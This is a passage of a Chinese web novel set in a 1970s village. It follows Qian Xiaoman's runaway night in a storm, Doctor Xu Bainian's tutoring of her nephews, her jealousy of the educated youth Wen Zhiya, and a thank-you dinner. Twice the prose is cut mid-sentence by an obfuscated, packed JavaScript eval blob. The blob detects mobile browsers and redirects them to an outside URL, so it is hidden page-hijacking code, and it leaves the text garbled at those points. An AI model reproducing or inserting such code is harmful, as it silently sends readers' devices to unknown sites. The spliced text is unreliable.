姚红霞几乎要站不住,这大晚上的,雷声不断,随时可能要下大雨,小满跑山上去做什么,连棵树都没有,还有可能摔跤。 她几乎是被儿子一路搀扶着回家。 雨已经开始下了,她心存侥幸,万一小满自己跑回家了呢。 母子俩湿漉漉回到家,钱多来连忙给他们递上毛巾。 他往后张望:“小满人呢?让她进屋啊。” 姚红霞瞪着丈夫,突然开始捶打他:“都怪你,你好端端的骂你闺女干甚,小满跑山上去了,她要是有个三长两短,咱们就离婚各过各的。” 钱多来这才真正怕了。他怕的不是跟媳妇闹离婚,是怕女儿大晚上一个人待在山上。这会儿暴雨越下越急,黄土被泡得松软,很容易发生小范围滑坡,万一出事,他这辈子都没法原谅自己。 他手忙脚乱找到蓑衣,抢过儿子手上的手电筒,戴着斗笠就要去山上找人。 钱金宝心累地拉住父亲:“爹,我去,我找几个朋友一起去找小满。你和娘待在家,振国振兴怕打雷,你们照顾好孩子们。万一小满回来了,娘跟她有话说,你别又把她气跑了。” 钱金宝喊上几个关系好的朋友去了村尾的山上,暴雨减弱了他们的声音,即便小满求助,他们也听不见,这样下去不是办法。 “金宝哥,咱们得另想个法子,声音太小了,不如回去拿个锣敲锣吧,小满妹子听见声音,肯定会出来找咱们。” “二柱,我记得你家有锣,你跑快点拿来。” 一行人浑身湿透,头发耷在脸上,雨水大滴大滴从脸上滑到脖子落入胸膛里。 钱金宝看了一眼山下,有一户窑洞亮着灯,提议道:“咱们先去老乡家借毛巾把身上的水擦擦,免得冻感冒了。” 钱小满似乎听见有人在叫自己,不过她这会没空搭理,因为她有更要紧的事。 院子里的积水漫进了窑洞,很快就淹没了脚踝。钱小满帮着两位老人往外舀水,累得气喘吁吁,还以为自己产生了幻听,幻想家人会来找自己。 她撇了撇嘴,梦里自己以死相逼要嫁给许柏年,她爹搬出断绝父女关系威胁她。她知道老头重男轻女,难道自己连婚姻自由的权利都没有吗? 院子里突然乌泱泱来了一群人,许柏年的爷爷奶奶吓得丢下工具连忙举起手。 许爷爷鼓起勇气问:“同志,你们有什么事吗?” 钱小满抬起手臂擦了一把汗,看清了领头的人。 “哥?” 钱金宝大步走向前,看清楚是妹妹后,一把拽住她:“你咋跑这儿来了,要把人急死!黑天暴雨的,你一个人跑出来,真是不要命了!” 钱小满被他拽得踉跄了一步,二哥身后跟着好几个人,都是他的兄弟朋友,淋得跟落汤鸡似的。 心里的委屈油然而生,泪水和雨水混在一起,她抱着二哥嚎啕大哭。 钱金宝脱了自己的蓑衣,披在妹妹身上,把她裹住。 “走,回家。” 7. 好一对才子佳人 钱金宝背着妹妹进院子的时候,雨已经渐渐停了。 钱多来站在门口,想上前又不敢动。他张了张嘴,一个字都憋不出来,只能抓了两把头发。 姚红霞嫌他挡路,把他推到一边。钱小满浑身湿透,头发贴在脸上,嘴唇冻得苍白,就是不肯抬头看她爹。 “赶紧进屋换衣裳,”姚红霞搂着女儿往屋里走,“金宝,去烧锅热水,给你妹灌个暖水袋。” 钱金宝应了一声,钻进厨房。 大家都进屋了,钱多来还站在门口,低声喃喃自语:“回来了就好。”也不知道是说给谁听的。 钱小满换了干净衣服,裹着被子躺在炕上。 姚红霞端了碗姜汤进来,她接过来一口气喝了大半碗,烫得眼泪都出来了,啪嗒啪嗒往下掉,小模样委屈极了。 姚红霞坐在床边,拿干毛巾给她擦湿头发,屋里一片安静,能听见屋檐雨水滴答的声音。 钱小满把脸埋进被子里,闷闷不乐:“妈,我爹是不是特别讨厌我。” 姚红霞放下毛巾,叹了口气:“你爹犟得跟头牛似的,一生气嘴上就没把门的,你又不是不晓得。” 钱小满没吭声。 “他回来路上,村里人都围着恭喜他要嫁女儿了,说得要多难听有多难听。他那么疼你,哪受得了别人当面嚼舌根,又怕你名声让人败坏,以后不好找婆家。村里好事的人说得有鼻子有眼,他当场就气昏了头。”姚红霞慈爱地摸了摸女儿的脑袋,“你爹他这会儿后悔得跟什么似的,晚饭一口没动,心里比谁都难受。” 钱小满翻了个身,背对着母亲。 “后悔有什么用,骂都骂了,还骂那么难听。” 姚红霞望着女儿的后脑勺,无奈地摇了摇头,知道这会儿说什么她都听不进去,便站起身:“睡吧,睡一觉明儿就好了。” 钱小满没回答。 她听见母亲关上门,外头父亲低声问:“睡了没?” 又听见母亲没好气地回:“睡了,你别进去吵她。” 之后便是一阵沉默。 她闭上眼,脑子里翻来覆去不是她爹骂她的那些话,而是许家爷爷奶奶住着的破窑洞。炕上铺着的席子起了毛边,灶台一生火整个屋里都是呛人的浓烟,许奶奶抱被褥给她时,那双瘦得皮包骨头的手…… 许柏年那么骄傲的一个人,他爷爷奶奶住在那种地方,他平时去看他们的时候,心里是什么滋味? 她翻了个身,把被子蒙过头顶。 第二天大清早,卫生室还没到上班时间,许柏年去窑洞给爷爷奶奶送东西。 昨夜一场暴雨,把村道冲得坑坑洼洼。他踩着泥水走到窑洞门口,见院里还有没舀干净的积水。 许奶奶正弯腰扫着院子里的积水,许柏年快步上前,接过奶奶手里的扫帚,自己动手扫了起来。 “正好你来了,你爷爷腰疼又犯了,你等会儿给看看。” 许柏年打扫完院子进了窑洞,给爷爷把了脉,又在他腰上按了按,确定只是受了凉,没什么大碍。 “我带了点药油,早晚揉一揉就好了。” 许爷爷靠在炕上,忽然想起一件事:“昨天傍晚,支书家的小闺女跑我们这儿来了,你知不知道?” 许柏年手上动作停了一下:“不知道。” “哭得跟泪人似的,问她啥也不说。”许爷爷摇头,“后来她哥带人来接走了,暴雨夜里,一群人淋得跟落汤鸡似的。” 许奶奶正好进屋:“那闺女挺好的,帮我们舀了半宿水,把窑洞里的水舀干净才走,还说今天来帮我们把院子收拾收拾。” 许柏年没接话,把药油放在桌上,又给爷爷倒了碗水。 他不能在外面待太久,回去的路上他走得很慢。 他想起昨天下午在钱家院子里辅导作业,钱小满坐在对面,凑过来看振兴的作业本,马尾辫好几次扫到他手背,带着一股淡淡的茉莉香。 她和家里人吵架了。 她被他爷爷奶奶收留了半个晚上。 走到卫生室门口,他站了片刻,才推门进去。 钱小满起床的时候,家里已经没人了。桌上留着一碗玉米糁稀饭和两个白面馍,用碗扣着,怕被耗子偷吃了。 她看了一眼,把稀饭喝干净,揣上两个白面馍就出了门。 径直去了村尾。 许奶奶正在门口晒被雨水打湿的干草,见了她便笑着说:“阿年前脚刚走,后脚你就来了。” “我来帮您收拾收拾,”没有偶遇到许柏年,说不失落肯定是假的,她把白面馍塞到许奶奶手上,“昨天麻烦你们了。” 许奶奶推辞了两下,拗不过她,只好收下。 钱小满挽起袖子,帮着把干草沿墙摊开,又把被雨水泡过的零碎物件搬出来晾晒。 临走时,许奶奶拉着她的手,语重心长地叮嘱:“以后不开心了就过来坐坐,可别再傻乎乎往山上跑了,你一个姑娘家,在山上迷路了怎么办?” 许奶奶的话正中钱小满下怀,她立马答应了。许柏年最在意的就是他爷爷奶奶,只要跟两位老人处好关系,再慢慢表露心意,到时候长辈开口,媒妁之言,许柏年总不能说她挟恩图报。 离开窑洞,她站在村道上发了一会儿呆,没回家,鬼使神差地拐了个弯,往卫生室的方向去了。 卫生室的门开着,许柏年坐在桌前,低头写着东西。 她刚要抬手敲门,许柏年恰好抬起头,两人目光对上,都愣了一下。 “我……”钱小满张了张嘴,莫名有点紧张,“我来谢谢爷爷奶奶,昨天收留我一晚。” 许柏年等着她往下说,谁知钱小满眼睛一眨不眨地看着他,两人干瞪了半晌,他终于起身:“进来坐。” 钱小满摇摇头:“不了,我回去了。” 她转身小跑了几步,停下来回头看了一眼。许柏年的目光还落在她身上,她朝他用力挥了挥手,露出一口小白牙: “下午别忘了来补课。” 说完重新恢复了满血状态,蹦蹦跳跳地回了家。 卫生室下班后,许柏年准时来到支书家。 钱小满把两个外甥按在桌前,削好铅笔、摆整齐本子,自己坐在一旁陪读,实际上完全是在装模作样,根本没听。 许柏年给振兴讲一百以内的进位退位,讲了三遍,孩子还是没弄明白该怎么借位,依旧偷偷掰着手指头算。 许柏年捏着作业本,沉默了好一会儿,没什么表情的脸上,愣是透出一股低气压。 钱小满在旁边噗嗤笑出声,没想到一向沉稳的许医生,也能被小孩作业愁成这样。 许柏年扫了她一眼,眼神里带着点当老师的威严。 她赶紧捂住嘴,眼睛弯成两道月牙,肩膀还在抖。 “你来。”他把本子推过去。 钱小满当场愣住:“我?” “你不是读过书吗?”许柏年语气淡淡的,“你给他讲一遍试试。” 钱小满瞪大了眼睛,为了不丢人,只能硬着头皮上。 她挨着振兴坐下,拿起笔想了想,换了个直白的法子:“你这么记,个位就是你自己,十位是你哥,百位是你爹。你自己这儿不够减了,就找你哥借一个十;你哥要是也不够,就再找你爹借。” “那借了不用还吗?”振兴眨巴着眼睛问。 “当然要算清楚,”钱小满耐心道,“从十位借走一个十,十位上就得少掉一个,这就叫借位,不然账就对不上了。” 振兴似懂非懂地点点头,在纸上一算,居然真的做对了。 许柏年在一旁看着,没说话。 钱小满得意地扬起下巴,朝他挑了挑眉。他没接她的眼神,低头去看振国的作业,但嘴角却往上动了动。 从这以后,振兴的作业错题少了很多,虽说算得慢,好歹学会了进退位,不用再掰手指。 这是许柏年最后一天上门辅导。钱小满照例坐在旁边,这次没走神,安安静静跟着听。 许柏年讲完一道应用题,忽然抬头问她:“听懂了吗?” 钱小满没想到他会问自己,赶紧点头:“听懂了。” “那你讲一遍。” 钱小满张了张嘴,半天憋出一句:“就是……小明家离学校五里地,他走了十分钟,那他一分钟走半里地?” “嗯。”许柏年点头,“那如果小明走了二十分钟呢?” “那就更远了呗。” “多远?” 钱小满脑子一片混乱,不太确定地说:“十里?” 许柏年定定看着她,没说是也没说不是。 振兴在边上插嘴:“小姨你好笨哦,五里地走十分钟,一分钟半里,二十分钟不就是一里吗?” 钱小满瞪大眼睛:“你刚才不是还不会吗!” 振兴挠着头嘿嘿傻乐,许医生讲得比学校老师清楚多了,他一听就会。 许柏年低头翻了一页书,嘴角弯了弯。 这次没忍住。 振国眼尖,立刻喊起来:“许医生笑了!” 振兴也跟着起哄:“许医生笑了!许医生笑了!” 许柏年迅速收敛表情,轻咳一声:“作业写完了?” 两个小孩立刻安静下来,埋头苦写。 钱小满坐在对面,假装低头看振国的本子,余光偷偷瞄了一眼许柏年。他垂着眼看书,睫毛长长的,脸上没什么表情。 她撇了撇嘴,什么嘛,许医生怎么可能会笑。要是她一夜之间从城里人变成乡下人,顿顿吃最差的伙食,她也笑不出来。 最后一天的辅导结束,钱小满和许柏年的关系拉近不少,偶尔也会为了孩子的作业互相打趣斗嘴。 钱小满自己都没察觉,这几天她过得很轻松,几乎快忘了自己接近许柏年的目的,态度自然松快了许多。抛开成分不说,许柏年肯定能当个好老师。 许柏年对钱小满更是改观不少,她认真的时候跟平时咋咋呼呼的样子完全不一样。 他之前觉得她莽撞、娇气、让人不知如何应对。但看她跟两个孩子待在一起的样子,她会蹲下来跟他们说话,认真听他们那些天马行空的问题,会在他们做对题的时候真心实意地高兴。跟两个小孩相处时,没有大人对小孩的居高临下,哪怕话题再乱七八糟,她也不会不耐烦。 开学前一天,钱小满送两个外甥回家。 振国在路上问她:“小姨,你是不是喜欢许医生?” 钱小满差点被自己的口水呛着:“你个小屁孩懂什么!” “我才不是小屁孩,”振国振振有词,“我看出来了,你看许医生的时候眼睛发光,眼里都没我们了。” 振兴在一旁用力点头:“我喜欢许医生,小姨,你让他当我们姨父好不好?” 钱小满脸一下子红了,伸手去揪他们的耳朵:“作业写完就敢拿我寻开心是吧?下次让许医生多给你们布置两张卷子!” 振国哇哇叫着跑开,振兴也跟着一溜烟跑了。 钱小满叉着腰,摸了摸发烫的脸颊,小声嘀咕:“我怎么可能喜欢许柏年,我嫁给他可是为了过好日子的。” 开学一周后,钱金玉回了趟娘家。 她骑着自行车,一进院门就喊:“小满!小满在家没?” 钱小满惊喜地从屋里探出头,看见她姐,飞扑上前:“姐!你咋回来了?” “咋,不欢迎我?”钱金玉把自行车支好,解下包袱,神秘兮兮地冲她招手,“过来,给你看样东西。” 钱金玉把包袱打开,里面是一块叠得整齐的布料——淡蓝色的底子上印着碎白花,料子摸起来滑溜溜的,不是平常穿的粗棉布。 “好看吧?”钱金玉把布料抖开,在妹妹身上比了比,“供销社新到的货,我托人留的,就这一块。” 钱小满眼睛黏在上面,伸手摸了摸,又缩回去:“给我的?这布不便宜吧?” “你拿着就是了。”钱金玉把布塞到她怀里,“要不是你,振国振兴哪能考那么好。” “考得咋样?”她下意识问道。 钱金玉笑起来:“班级第一,两个都是。” “啊?”钱小满不可置信,“真的假的?” 钱金玉说起这个就来劲:“开学第一周测验,振国振兴都考了班里第一。你是不知道,他们班主任把我叫去学校,怀疑他们俩考试作弊呢!” 钱小满连忙追问:“然后呢?” “老师让振国振兴当着她的面把卷子重新做了一遍,结果俩孩子考得比第一次还好,老师这才服了。” 钱金玉拍拍妹妹的肩膀:“这都得谢谢你,要不是你找许医生来补课,这俩小子估计要留级呢。” 钱小满抱着布料,心里美滋滋的,嘴上客气道:“那是许医生教得好,跟我有啥关系。” “你请的人啊,”钱金玉捏了捏她的脸,“你那点小心思我还不知道?行了,布给你了,做身新衣裳穿。” 姚红霞从厨房出来,听见姐妹俩说话,也跟着高兴:“振国振兴考这么好?回头得好好谢人家许医生。” “可不是,”钱金玉说,“我还带了两包红糖,一会儿给许医生送一包。” 吃饭的时候,钱金玉又把孩子考试的事说了一遍,把钱多来听得一愣一愣的。 “真的假的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“去卫生室送点东西,”钱小满扬了扬手里的红糖,“我姐让带的,感谢许医生给振国振兴补课。” 李杏花打趣道:“送红糖用得着这么高兴?” 钱小满脸一红:“我高兴是因为我姐给我带了新布,跟送红糖有啥关系。”说完赶紧溜了。 到了卫生室门口,门半开着。 钱小满正要敲门,听见里头有人说话。 是个女声,软绵绵的,说着一口标准的普通话:“许同志,这个方程我老是解不对,你再给我讲讲嘛。” 钱小满的手停在半空,她透过门缝往里看。 许柏年坐在桌前,旁边站着一个姑娘,穿着白衬衫,头发扎成辫子,那姑娘手里拿着本子,正凑在许柏年身边,挨得很近。 钱小满认得她,文知雅,据说家里是省城的,是知青里最有文化的姑娘。 文知雅歪着头看许柏年写字,发梢都快碰到他肩膀了:“许医生,你字写得真好看。” 许柏年往旁边挪了挪,语气不冷不热:“这个题你先把未知数移到左边,再合并同类项。” “你讲慢一点嘛,我跟不上。”文知雅又凑过去。 钱小满站在门口,手里的红糖被她捏得咯吱响。 她也不知道自己为什么生气,反正就是心里堵得慌。俩人都穿着白衬衫,凑那么近,你侬我侬,好一对才子佳人。 她想推门进去,又觉得师出无名。人家是来问题目的,她冲进去算怎么回事? 她想转身走,脚又迈不动。 最后她深吸一口气,把红糖放在门口台阶上,转身走了。 走出去十几步,里头隐约传来文知雅的笑声,钱小满咬了咬嘴唇,加快了脚步。 钱小满回到家,一头扎进自己屋里。 姚红霞在院子里喊她帮忙剥蒜,她回了一句“不想剥”,再没动静。 钱金玉在堂屋里跟母亲说话,听见动静觉得不对劲,过来敲门。 “小满?咋了?” “没咋。” “红糖送去了?” “放门口了。” 钱金玉听出妹妹声音不对,推门进去。 钱小满趴在炕上,脸埋在枕头里,头发散了一背。 “谁惹你了?”钱金玉坐在炕沿上,拍了拍她的背。 “没人惹我。” “那你把红糖放门口?不进去给人家?” 钱小满翻了个身,盯着屋顶,嘴撅得能挂油瓶:“人家有客人,忙着呢,我进去添乱。” “什么客人?” “文知雅,知青点的,去找许医生问题目。”钱小满提到文知雅的名字,语气里的酸味都要溢出来了。 “就这事儿?” “什么叫就这事儿?”钱小满一骨碌坐起来,“她挨许医生那么近,都快贴上了,问题目就问题目,夸什么字啊!还专门穿一模一样的白衬衫,谁没有似的……” 钱金玉看着妹妹义愤填膺的样子,忍不住笑出声。 “你笑什么!”钱小满更气了。 “我笑你傻,”钱金玉戳了戳她的脑门,“人家去找许医生问题目,你气什么?许医生是你家的?” 钱小满被噎住了,张了张嘴,半天憋出一句:“那也不能挨那么近啊……” “你管人家挨多近呢,”钱金玉慢悠悠地说,“许医生要是心里有别人,你在这儿气死也没用;许医生要是心里没别人,你更不用气。” 钱小满不吭声了。 钱金玉见她蔫头耷脑的样子,又心疼又好笑:“行了,家里还有一包红糖,你明天再去送一趟。这回记得进去,亲自送到人家手上,别搁门口了。” “我不去。”钱小满又趴回枕头上。 “真不去?” “真不去。” “那行,我明天自己去,顺便跟许医生聊聊,看看那个文知雅长得啥样,是不是真比我家小满好看。” 钱小满猛地坐起来:“你敢!” 钱金玉笑着出去了。 第二天,钱小满起了个大早。 她在镜子前站了半天,把头发梳了又梳,扎了两条辫子,又拆了,换成一条马尾。最后实在拿不定主意,跑去找她姐。 “姐,你看我扎哪个好看?” 钱金玉正在给振国振兴缝鞋垫,抬头看了她一眼:“你不是不去吗?” 钱小满涨红着脸,支支吾吾。 钱金玉忍着笑,没拆穿她:“扎马尾精神,去吧。” 8. 没资格吃醋 出门的时候,姚红霞喊她吃饭:“急啥,吃了饭再出门。” “我不饿,回来了吃。”说完一溜烟跑了。 到了卫生室门口,钱小满深吸一口气,正要敲门,门从里面开了。 许柏年站在门口,看见是她,愣了一下。 钱小满也呆住了,准备好的说辞全忘了,张嘴就是:“你吃饭了没?” 许柏年的视线落在她身上——她今天穿了一件新衣服,淡蓝底子碎白花连衣裙,衬得她气质恬静,不像平时那般咋呼,不知道是什么日子。 “吃过了。” 钱小满的目光和他对上,脸瞬间红了,慌忙转移话题:“我我不是来蹭饭的,这是我新做的裙子,好看吗?” “嗯,好看。”许柏年让开门口,“进来坐。” 钱小满心跳漏了一拍。他说好看?他说好看!心里的欢喜差点溢出来,嘴上却装不在意:“不了,我要回家吃饭。”她抠着手指头,努力让自己看起来没那么高兴。 “昨天的红糖是你放的?”许柏年突然问她。 “嗯。” “怎么不进来?”他昨天只看到一个匆匆离去的后脑勺,身形格外熟悉,想来就是她了。 钱小满想起昨天文知雅的笑声,一股酸味儿涌上来,开口说话别别扭扭的:“你有客人,我来打扰多不方便。” 许柏年收回目光,语气平淡地解释:“昨天是知青来问高中题目,问完就走了。” “我又没说什么,”她别过脸,嘴硬道,“而且我认得她,文知雅对吧,知青点长得最漂亮的城里姑娘。”明知道自己没资格吃醋,可心里就是莫名不爽。 “没注意。”许柏年转身进屋,拿了个东西出来。这是一双新鞋垫,白布底子,绣着简单的花样子,针脚不算细密,但看得出是用了心的。 “我奶奶让我给你的,”他递过去,“谢谢你那天帮他们收拾窑洞。” 钱小满毫不客气地接过,脸上的别扭顿时烟消云散,掩饰不住的欣喜,爱不释手地摸着上面的绣花:“替我谢谢奶奶,不过以后别送了。窑洞那么暗,奶奶绣这个肯定费了不少时间。” 许柏年点点头,他劝说过,只是奶奶不听。 两个人又站了一会儿,谁都没说话。村道上有人经过,时不时好奇地往这边看两眼,看得钱小满脸颊发烫。 “那个……”钱小满率先打破沉默,“我爹说想请你吃饭,谢谢你给振国振兴补课。” 许柏年下意识推辞:“不用客气,应该的。” “我爹说了算,我说了不算,”钱小满把鞋垫小心地塞进口袋里,抬眼望着他,带着自己都没察觉到的期待,“你要是方便的话,明天晚上?我让我妈多做几个菜。” 许柏年垂眸看她。她今天特意穿了新衣裳,头发扎成马尾,带着点腼腆,看着格外乖巧灵动。 钱小满眼睛一下子亮了,嘴角往上翘,又拼命压住,假装淡定:“那就说定了,明天晚上,你别忘了。” “不会。” “那我走了。” “嗯。” 钱小满转身走了几步,又忍不住回头,叮嘱他:“你明天别带东西啊,我爹说了就是吃顿饭,振国振兴进步可大了!” 许柏年看着她认真的样子,嘴角动了动:“好。” 钱小满走出老远,确认他看不见自己,才捂着嘴笑出来,又摸了摸口袋里的鞋垫,步子轻快地哼着歌,蹦蹦跳跳回了家。 回到家,钱金玉正好把鞋底做完,抬头看见妹妹一脸春心荡漾的模样,笑着打趣:“糖买回来了?” “什么糖?”钱小满摸不着头脑。 “你这表情,跟吃了蜜似的,甜得齁人,”钱金玉戳了戳她的胳膊,“还用得着买糖?” 钱小满脸一红,害羞地跑进厨房,一把抱住正在洗菜的姚红霞:“妈,明天多做几个菜呗,许医生来家里吃饭。” 姚红霞被撞得差点没拿稳菜盆,无奈地拍她的手背:“你这孩子,发什么疯?毛毛躁躁的。” “我爹说的嘛,要请许医生吃饭感谢他,”钱小满松开手,笑嘻嘻地凑在旁边,“明天晚上啊,可别忘了多做两个硬菜。” “知道了知道了,”姚红霞挥手赶她,“出去出去,别在这碍事,我忙着呢。” 钱小满蹦跳着出了厨房,路过堂屋,看见钱多来鼻子上戴着老花镜,正皱着眉看报纸,她停下来,歪着头盯着他看。 “爹,你明天不骂人吧?” 钱多来把报纸往下拉了拉,露出一双眼睛,瞪着她:“我啥时候骂人了?” 钱小满没说话,就笑眯眯地看着他。 钱多来被她看得不自在,把报纸举高,重新挡住脸:“去去去,别烦我,我看报纸呢。” 钱小满笑嘻嘻地跑了。 第二天傍晚,许柏年准时来了。 他还是那身万年不变的衣服,头发好像刚洗过,额前的碎发软塌塌地搭着,少了平时的一丝不苟,多了点温和。 钱小满听见院子里的动静,立马从屋里冲了出来,她跑得太快,在门槛上绊了一下,踉跄了两步,差点摔在地上。 许柏年眼疾手快,伸手扶了她一把,又很快松开。 “急什么?” “我没急,”钱小满站稳理了理头发,对他露出自己私底下练过好几遍的笑容:“客人都来了,我当然得出门迎接。” 钱多来从堂屋出来,看见女儿和许柏年站在一起说话,难得没变脸,还带着点笑意:“许医生,快进屋坐。” 许柏年微微欠身,礼貌道:“钱叔,打扰了。” “不打扰不打扰,”钱多来连连摆手,热情地带着人进屋,“你帮了我们家这么大忙,请你吃顿饭是应该的。” 姚红霞在厨房忙活,钱小满把菜一盘盘端上来:红烧肉、炒鸡蛋、粉条炖豆腐、凉拌黄瓜,还有一盆白面馒头。 一家人落了座。钱多来坐在主位,许柏年坐在他右手边,钱小满挨着许柏年坐,眼神时不时往他那边瞟。 钱多来端起酒杯,态度诚恳:“许医生,这杯敬你。振国振兴的功课,以前让我们全家人都头疼,老师本来想让他们再多读一年,什么时候打好基础才能升级。要不是你费心补课,他俩哪能考班级第一,给我们家争了一口气。我这个当外爷的,得好好谢谢你。” 许柏年端起杯子,认真地回敬:“钱叔客气了,是孩子们自己用功,我只是稍微引导。” “用功啥用功,以前也没见他们考第一,”钱多来仰头把酒一口干了,“你这个老师教得好,我佩服。” 钱小满在旁边偷偷看许柏年,他端端正正坐着,脸上还是淡淡的表情,但耳朵根好像有点红。 姚红霞给许柏年夹了块红烧肉:“许医生,别客气,多吃点。” “谢谢婶子。”许柏年没有推辞,低头吃了。 钱小满看见他吃了,赶紧又给他夹了一筷子炒鸡蛋:“这个也好吃,你尝尝。” 许柏年看了她一眼,没说话,低头又吃了。 见他不排斥,钱小满更殷勤了,又给他夹了块红烧肉,筷子都快伸到他碗里去了。许柏年仍旧没推辞,一一吃了。 钱金宝在旁边闷头吃饭,抬头看见妹妹这副模样,想笑又不敢笑,赶紧夹了两筷子菜塞进嘴里,压住笑意。 钱小满自己啃了一口馒头,关注着许柏年吃饭的样子,嘴角翘得老高,心里甜滋滋的。 钱多来几杯酒下肚,话多了起来,拍着许柏年的肩膀:“许医生,你是个有本事的人。我当初……咳,不说那些了。以后在村里有啥需要帮忙的,你尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478215|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管开口,别跟我客气。” 许柏年端着杯子,认真地回敬:“谢谢钱叔。” 钱多来又跟他碰了一杯,俩人一来二去,聊得愈发投机。 吃完饭,钱小满帮着姚红霞收拾桌子。许柏年起身告辞,钱多来喝了酒,就让钱金宝送送他。钱小满在厨房听见,把碗往盆里一撂,擦了擦手就跑出去。 “我送就行,我顺路。” 钱金宝故意找茬,拆她的台:“你顺什么路?咱家跟卫生室又不顺路。” “我去杏花家拿个东西!”钱小满脸不红心不跳地撒谎。 钱金宝翻了个白眼,懒得拆穿她,回屋休息去了。 两个人出了院门,沿着村道慢慢走。天已经黑了,月亮又大又亮,清辉洒在小路上,连路边的杂草都看得一清二楚。 钱小满走在许柏年旁边,心跳得有点快,既紧张又舍不得这么快跟他分开,于是故意放慢脚步。 “那个……”她率先开口,找着话题,“我姐说下次回来给你带条好烟,我说你不抽烟,让她给你带点吃的。” “不用送烟,也不用带东西。” “那你喜欢吃什么?”钱小满追问,不肯放过这个机会。 许柏年想了想:“都行。” “都行是什么行?”钱小满不满意这个模糊的答案,鼓着腮帮子,“你得说一个,不然我没法跟我姐交差。” 许柏年沉默了一会儿:“白糖糕吧。” 钱小满:“那是什么?” “糯米做的点心,环形、白白的、外面裹满白糖、上面撒一层桂花,口感甜糯。”他说得平淡,眼底却闪过一丝怀念。 钱小满忍不住咽了咽口水:“好吃吗?” “还行。” “还行是多行?” 许柏年停下脚步,侧头望着她。 月光下,她的眼睛亮晶晶的,满脸都是好奇,像个没长大的小孩。 “下次我托人带点回来,你尝尝就知道了。” 钱小满眨了眨眼,随即露出一口小白牙:“你说的啊,可不许赖账。” “嗯。” 两个人走到了卫生室门口。 许柏年停下脚步:“到了。” 钱小满跟着停下来,磨磨蹭蹭不想走,想说点什么,又不知道该说什么,心里满是不舍。 “回去吧,天黑了。”许柏年说。 “那我走了。”她依依不舍告别。 “嗯,路上注意安全。”这会儿村里人都在门口纳凉,倒也安全。 钱小满刚要离开,突然灵光一现:“以后周末你还来吗?我是说辅导作业。虽然开学了,但周末也可以补补嘛,这是我姐的意思,她愿意付补课费,一天两块钱。”她表面冷静,心里没有一点底,生怕他拒绝。 许柏年定定地看着她,月光落在她脸上,她的神情满是紧张和期待,藏都藏不住。 “周末可以。”他松了口,“钱不用给。” 钱小满急忙道:“那怎么行,我姐说不能让你白帮忙……” “不用。”许柏年再次强调,态度坚定,“你送了红糖,咱们扯平了。” 钱小满还想再说什么,又怕惹他不高兴,只好抿了抿嘴,转身跑了,跑出去几步,回头冲他挥了挥手:“我回去啦!” 许柏年站在门口,目送她跑远的背影,直到小小的身影消失在夜色里,才推门进去。 他坐在桌前,翻开白天没看完的书,看了两页,一个字也没看进去,又合上了。 窗外的月亮很亮,他想起她今天穿着新衣裳,站在院门口仰着脸看他的样子,笑容天真烂漫,眼里满是欢喜,一看就是被家人宠得很好的小姑娘。 他重新翻开书,这次没有合上。只是那一页,他看了很久很久也没能翻过去。 9. 那你管着我啊 钱小满又去了卫生室。 她特意穿着新裙子,头发扎成马尾,手腕上系着姐姐给她编织的红绳手链,对着镜子照了又照,才满心欢喜地出了门。 到了卫生室门口,门锁着。 她趴在窗户上往里看,屋里空荡荡的,许柏年的白大褂挂在椅背上,人不见踪影。 她拉住路过的村民问:“叔,看见许医生了吗?” “好像去他爷爷奶奶那儿了。” 钱小满转身就往村尾走。 刚靠近窑洞,就听见院子里传来低低的交谈声。 院里的石桌上摊着书本纸笔,许柏年坐在一旁,文知雅正对着他坐着,手里拿着笔在本子上写东西,许柏年低着头指点。远远看去,一对青年男女安安静静读书,像极了戏曲里的才子佳人,格外般配。 钱小满心口一下子就酸了。她瞪着文知雅的背影,气鼓鼓地站在原地,满脑子都想着怎么把人拆开。 她猛然想起梦里的情形。文知雅最后没考上大学,留在大队跟知青结了婚,还找队里批地盖了房。那时她没放在心上,此刻倒派上了用场。 她立刻走了进去,故意抬高音量打断两人:“许医生!” 许柏年抬眼看过来。 文知雅也回头,客气地笑了笑:“小满同志来了。” 钱小满没理她,径直往窑洞方向喊了声许奶奶,随即搬了个小板凳,大大方方往石桌旁一坐,硬生生挤在两人中间,眼神明晃晃带着不善。 许奶奶从里头出来,看见她,脸上笑开了花:“闺女来了?快进来坐。” “我先在院子里待一会儿。”钱小满对许奶奶甜甜一笑。 文知雅看了她一眼,嘴角笑意深了些,没说什么,继续低头做题。 钱小满看似盯着文知雅的本子,心里却在盘算怎么快速把人打发走。 “文知青,”钱小满冷不丁开口,“你这么用功,是想考大学吧?” 文知雅抬起头,有些意外:“是。” “你觉得你能考上吗?” 文知雅没想到她问得如此直白,下意识看了眼许柏年,继而对着钱小满:“我……我在努力。” 钱小满歪着头,语气天真,话却一句比一句扎心:“我跟你说句实话,你别生气。” 许柏年微微皱眉,正要开口,钱小满已经说了下去。 “你就算考上了,也上不了大学。” 文知雅手里的笔一顿。 “你成分摆在那儿,即便参加了考试,开不了证明,你拿什么去报到?再说你家里要是真宠你、有钱供你,也不会把你送到乡下来了。假如你考上大学,你交得起学费吗?到头来还不是白忙活一场,你根本回不去城里。” 这话一落,院子里瞬间安静了。 钱小满心里轻松不少,带着点只有自己知道的小得意。她不是凭空瞎说,是真懂这里面的潜规则。 大队开证明只是第一关,她爹肯定不会为难知青。可真要是考上了,考验才刚开始。要回户籍地办手续、开介绍信。文知雅的家庭成分摆在那儿,压根没可能顺顺利利读大学。除非能把成分改了,不然再怎么熬灯苦读,到头来都是一场空。 